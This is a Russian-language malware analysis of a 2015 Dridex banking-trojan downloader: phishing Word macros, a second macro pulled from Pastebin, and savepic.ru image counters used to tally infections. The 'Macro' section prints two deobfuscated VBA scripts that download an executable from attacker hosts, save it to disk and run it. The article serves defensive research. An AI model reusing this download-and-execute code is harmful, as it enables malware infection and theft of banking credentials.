Анализ нового загрузчика банковского трояна Dridex

Анализ нового загрузчика банковского трояна Dridex

Анализ нового загрузчика банковского трояна Dridex

Банковский троян Dridex, потомок более раннего вируса Cridex, обратил на себя внимание специалистов по информационной безопасности еще в октябре 2014 года. От сотен своих собратьев Dridex отличался использованием порядком подзабытого механизма распространения с помощью макросов Microsoft Word (в некоторых версиях вируса — MS Excel).

Длившаяся несколько месяцев эпидемия с десятками тысяч машин, заражаемых каждый день, схлынула, но сам вирус не исчез. С первых чисел мая 2015 года система Threat-Intelligence компании «Перспективный мониторинг» отслеживала эволюцию нового загрузчика Dridex, предположительно созданного в нашей стране.

 

1. Оригинальный вирус

2. Новый загрузчик

3. Макрос

4. Статистика

5. Заключение

 

Оригинальный вирус

Архитектурно Dridex представляет собой два независимых компонента — загрузчик (Trojan-Downloader) и тело вируса (exe-файл). При этом загрузчик хоть и запомнился в связи с распространением именно Dridex, на самом деле может использоваться для скрытой загрузки любого вредоносного контента (модель malware-as-a-service).

Схема заражения вирусом Dridex такова:

  1. На первом этапе используется социальная инженерия, а именно рассылка фишинговых писем от имени крупных финансовых корпораций Великобритании (под удар Dridex в 2014 году попали преимущественно граждане этой страны, а также, в зависимости от версии вируса, Канады, США и Чехии). «Возврат повторного платежа», «Подтверждение транзакции», «Заказ принят» — тематика писем так и подталкивает получателя ознакомиться с информацией, которая, по уверению отправителя, содержится во вложенном doc-файле.
  2. После скачивания и открытия документа жертва сталкивается с сообщением, что для корректного отображения сведений требуется включение макросов (по умолчанию в MS Office они отключены).

 

Рисунок 1. Вложенный в фишинговое письмо документ

Требование включить макросы

 

  1. Обфусцированный VBA-код, запускаемый после включения макросов, скачивает тело вируса с прописанного в нем адреса компьютера-зомби.
  2. Загруженный и запущенный exe-файл крадет учетные данные аккаунтов онлайн-банкинга с компьютера жертвы.

 

Новый загрузчик

Так работал Dridex в 2014 году, но со временем даже самые неторопливые разработчики антивирусов к 2015-му написали сигнатуры, успешно отлавливающие как тело вируса, так и его «первую ступень». По-видимому, число заражаемых в день машин упало ниже какой-то критической отметки, и авторы Dridex решили сменить загрузчик.

Что делает новый trojan-downloader Dridex?

Шаги 1 и 2 его работы остались неизменны, а вот дальше картина становится несколько иной:

  1. Запущенный макрос заходит по прописанной в своем коде ссылке на pastebin.com (сервис, позволяющий анонимно загружать отрывки текста, обычно фрагменты исходного кода, для всеобщего доступа), откуда копирует текст второго макроса и запускает его.
  2. Второй макрос открывает изображение с savepic.ru (в зависимости от версии макроса .net или .org).

 

Рисунок 2. Открываемое первой версией загрузчика изображение

Изображение, выводившееся на экран в первой версии загрузчика

  1. Далее макрос так же, как и ранее, подключается к компьютеру-зомби и скачивает с него exe-файл с телом вируса.
  2. На этом работа макроса не заканчивается. Он запускает экзешник, и, если запуск проходит успешно (вирус появляется в списке процессов), загружает с savepic вторую картинку.

 

Рисунок 3. Изображение, открываемое загрузчиком после успешного запуска вируса

Изображение, выводимое на экран после успешного запуска вируса

 

  1. Далее Dridex опять же подключается к командным серверам и делает свое черное дело.

 

Рисунок 4. Общая схема заражения вирусом Dridex

Общая схема работы Dridex

 

Новый загрузчик Dridex имеет две ключевые особенности: использование анонимных сервисов и нетривиальную причину, по которой он загружает изображения с savepic.

Зачем (конечно, кроме как шутки ради) в загрузчике используются картинки, понятно из статистики каждой картинки на savepic.

 

Рисунок 5. Сервисная страница изображения

Сервисная страница изображения

 

Каждая такая страница содержит счетчик, причем бесплатный и анонимный, что делает его особенно удобным для сбора статистики по заражению (первый счетчик показывает, сколько пользователей запустило макрос, второй — сколько машин в конечном счете было заражено). Или, если предположить, что загрузчик используется в соответствии с моделью malware-as-a-service, счетчик отлично подходит для информирования заказчика, за сколько зараженных машин тому придется заплатить.

 

Макрос

Первая версия VB-скрипта от 30 апреля была очень проста. Видно, что авторы лишь пробовали свои силы. В ней не использовались даже счетчики на savepic.

 

Как выглядела первая версия VB-скрипта после деобфускации:

HGyu87f7Usf.Open GET , hxxp://carolebellaiche.com/wp-content/image.jpg , False

HGyu87f7Usf.Send

Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )

iyUGbuwerff = dfgfderer(APPDATA )

iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe

with oUIOGuiwefff

   .type = 1

    .open

    .write HGyu87f7Usf.responseBody

    .savetofile iyUGUIvbuiwe7vhJ, 2

end with

Set uyGUYhi8wef = CreateObject(Shell.Application )

uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ

 

 

Последняя на момент написания статьи версия (от 3 июня):

dimqqqqqqqqqqqqqqqqqwe: Set qqqqqqqqqqqqqqqqqwe = createobject("Microsoft.XMLHTTP")

dim qqqqqqqqqqqqqqqqqwedf: Set qqqqqqqqqqqqqqqqqwedf = createobject("Adodb.Stream")

qqqqqqqqqqqqqqqqqwe.Open "GET", "hxxp://95.47.161.88/bt/bt/getit1.php", False

qqqqqqqqqqqqqqqqqwe.Send

Set qqqqqqqqqqqqqqqqqwedfew = WScript.CreateObject("WScript.Shell").Environment("Process")

qqqqqqqqqqqqqqqqqwedfewwertt = qqqqqqqqqqqqqqqqqwedfew("TEMP")

ewrwersdfffs = qqqqqqqqqqqqqqqqqwedfewwertt + \645634334555555.exe

with qqqqqqqqqqqqqqqqqwedf

   .type = 1

   .open

   .write qqqqqqqqqqqqqqqqqwe.responseBody

   .savetofile ewrwersdfffs, 2

end with

Set qqqqqqqqqqqqqqqqqwedfewwerttwer = CreateObject(Shell.Application )

qqqqqqqqqqqqqqqqqwedfewwerttwer.Open ewrwersdfffs

dim zzzzzzzzzzzzzzzzcd: Set zzzzzzzzzzzzzzzzcd = createobject(Microsoft.XMLHTTP )

dim zzzzzzzzzzzzzzzzcddf: Set zzzzzzzzzzzzzzzzcddf = createobject(Adodb.Stream )

zzzzzzzzzzzzzzzzcd.Open GET , http://savepic.ru/7167468.png , False

zzzzzzzzzzzzzzzzcd.Send

Set xxxxxxxxxxxxxxxxxxdd = GetObject(winmgmts:\\.\root\cimv2 )

Do

Running = False

Set colItems = xxxxxxxxxxxxxxxxxxdd.ExecQuery(Select * from Win32_Process )

For Each objItem In colItems

If objItem.Name = 645634334555555.exe  Then

Running = True

Exit For

End If

Next

If Not Running Then

WScript.Sleep 3000

End If

Loop While Not Running

dim aaaaaaaaaaaaader: Set aaaaaaaaaaaaader = createobject(Microsoft.XMLHTTP )

dim cccccccccccccsderrr: Set cccccccccccccsderrr = createobject(Adodb.Stream )

aaaaaaaaaaaaader.Open GET , http://savepic.ru/7193071.png , False

aaaaaaaaaaaaader.Send 

 

То есть:

  1. Программа скачивает файл трояна с http://95.47.161.88/ и сохраняет его на диск.
  2. Увеличивает счетчик №1 (http://savepic.ru/7167468.png).
  3. Запускает скачанный файл и проверяет, что процесс находится в памяти.
  4. В случае успеха загрузчик увеличивает второй счетчик (http://savepic.ru/7193071.png). Троян успешно запущен.
  5. В последних версиях загрузчика, к сожалению, используются уже не столь забавные картинки.

 

Статистика

Аналитическая система ЗАО «ПМ» впервые столкнулась с образцом новой версии загрузчика Dridex 30 апреля и на момент написания статьи получила из доступных в интернете источников данных 168 образцов вируса. В течение этого времени загружаемый с pastebin.com скрипт менялся 12 раз.

 

Рисунок 6. Список образцов загрузчика Dridex в системе Threat-Intelligence ЗАО «ПМ»

Список образцов загрузчика Dridex в системе Threat-Intelligence

 

Рисунок 7. Сводная информация об одном конкретном образце

Краткая сводная информация об одном конкретном образце

 

Рисунок 8. Фрагмент характерного трафика, порождаемого данным образцом

Фрагмент характерного трафика, который порождает этот образец

 

Как мы видим, в нем легко выделить загрузку VB-кода с pastebin.com и загрузку изображений.

 

Рисунок 9. Использовавшиеся для загрузки трояна серверы-зомби

Для загрузки трояна было задействовано 13 различных зомби-серверов

 

Рисунок 10. Командные серверы, к которым пытался подключиться exe-файл Dridex

Exe-файл трояна пытался подключиться к 21 командному серверу

 

Рисунок 11. Командные серверы, подключение к которым прошло успешно

Успешные подключения к командным серверам

 

Заключение

Новая эпидемия сопровождается в среднем 10-15 тысячами заражений в день, что очень хорошо показывает, насколько эффективным оказался новый Trojan-Downloader и насколько плохо смогли противостоять ему современные антивирусы, IDS и IPS.

По ссылкам ниже можно посмотреть, как документы MS Word с исследуемым загрузчиком различных версий определялись антивирусами:

www.virustotal.com/ru/file/a020f63e81347f4994e5ac433ae2110193a6da3b5f7c1926330bb643676fe77f/analysis/

www.virustotal.com/ru/file/04dedc6d3ad608a935618d54cb04bc8e7d4ee7ca08c38cd408133a61327991cb/analysis/

www.virustotal.com/ru/file/eb6359d689674a55bed1747f0f204731fae10997554f6bd0d72cd01dc3da00d1/analysis/

www.virustotal.com/ru/file/96019071ca68bcf77f39bf0587d64f22d0d7d0c0601f295129f44f04998b3565/analysis/


Рисунок 12. Неутешительный результат сканирования одного из заражённых документов 57 различными антивирусами

Информация о детектировании Trojan-Downloader антивирусами на момент написания статьи

 

С целью защиты от этого загрузчика и ему подобных нашими специалистами был сформирован набор сигнатур для используемого в «Перспективном мониторинге» ViPNet IDS, который теперь однозначно определяет любую его версию как AM TROJAN W97M.Downloader VB Obfuscated Script Download from Pastebin.com.

Но, впрочем, как и на любой войне, нападение здесь опережает защиту, и каждый день вирусописатели придумывают новые и новые не детектируемые пока вредоносы.

А до окончания Dridex-эпидемии, по-видимому, еще далеко. Судя по данным счетчиков, только за один день, 8 июня, макрос загрузчика был запущен 53657 раз, успешно заразив 44102 машины.

 

Рисунок 13. Первый счетчик — http://savepic.ru/7237013m.htm

Первый счетчик

 

Рисунок 14. Второй счетчик — http://savepic.ru/7234965m.htm

Второй счетчик

 

Похоже, самое интересное еще ждет нас впереди.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новые статьи на Anti-Malware.ru